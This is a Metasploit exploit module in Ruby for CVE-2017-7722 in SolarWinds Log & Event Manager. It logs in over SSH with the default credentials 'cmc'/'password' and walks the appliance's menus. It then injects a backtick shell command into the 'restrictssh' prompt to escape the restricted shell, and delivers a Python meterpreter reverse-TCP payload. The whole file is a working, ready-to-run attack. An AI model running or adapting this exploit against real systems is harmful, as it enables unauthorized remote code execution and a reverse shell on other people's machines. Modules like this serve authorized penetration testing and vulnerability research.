##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SolarWinds LEM Default SSH Password Remote Code Execution',
        'Description' => %q{
          This module exploits the default credentials of SolarWinds LEM. A menu system is encountered when the SSH
          service is accessed with the default username and password which is "cmc" and "password". By exploiting a
          vulnerability that exist on the menuing script, an attacker can escape from restricted shell.

          This module was tested against SolarWinds LEM v6.3.1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mehmet Ince <mehmet@mehmetince.net>',  # discovery & msf module
        ],
        'References' => [
          ['CVE', '2017-7722'],
          ['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
        ],
        'DefaultOptions' => {
          'Payload' => 'python/meterpreter/reverse_tcp'
        },
        'Platform' => ['python'],
        'Arch' => ARCH_PYTHON,
        'Targets' => [ ['Automatic', {}] ],
        'Privileged' => false,
        'DisclosureDate' => '2017-03-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(32022),
        OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
        OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
      ]
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def exploit
    opts = ssh_client_defaults.merge({
      auth_methods: ['keyboard-interactive'],
      port: rport,
      password: password
    })

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    print_status("#{rhost}:#{rport} - Attempting to login...")

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    return unless ssh

    print_good('SSH connection is established.')

    payload_executed = false

    ssh.open_channel do |channel|
      print_status('Requesting pty... We need it in order to interact with menuing system.')

      channel.request_pty do |ch, pty_success|
        raise 'Could not request pty!' unless pty_success

        print_good('Pty successfully obtained.')

        print_status('Requesting a shell.')
        ch.send_channel_request('shell') do |_ch, shell_success|
          raise 'Could not open shell!' unless shell_success

          print_good('Remote shell successfully obtained.')
        end
      end

      channel.on_data do |_ch, data|
        if data.include? 'cmc '
          print_good('Step 1 is done. Managed to access terminal menu.')
          channel.send_data("service\n")
        end

        if data.include? 'service '
          print_good("Step 2 is done. Managed to select 'service' sub menu.")
          channel.send_data("restrictssh\n")
        end

        if data.include? 'Press <enter> to configure restriction on the SSH service to the Manager Appliance'
          print_good("Step 3 is done. Managed to start 'restrictssh' function.")
          channel.send_data("*#`bash>&2`\n")
        end

        if data.include? 'Are the hosts'
          print_good('Step 4 is done. We are going to try escape from jail shell.')
          channel.send_data("Y\n")
        end

        if data.include?('/usr/local/contego') && (payload_executed == false)
          print_good('Sweet..! Escaped from jail.')
          print_status('Delivering payload...')
          channel.send_data("python -c \"#{payload.encoded}\"\n")
          payload_executed = true
        end
      end
    end
    begin
      ssh.loop unless session_created?
    rescue Errno::EBADF => e
      elog(e)
    end
  end
end
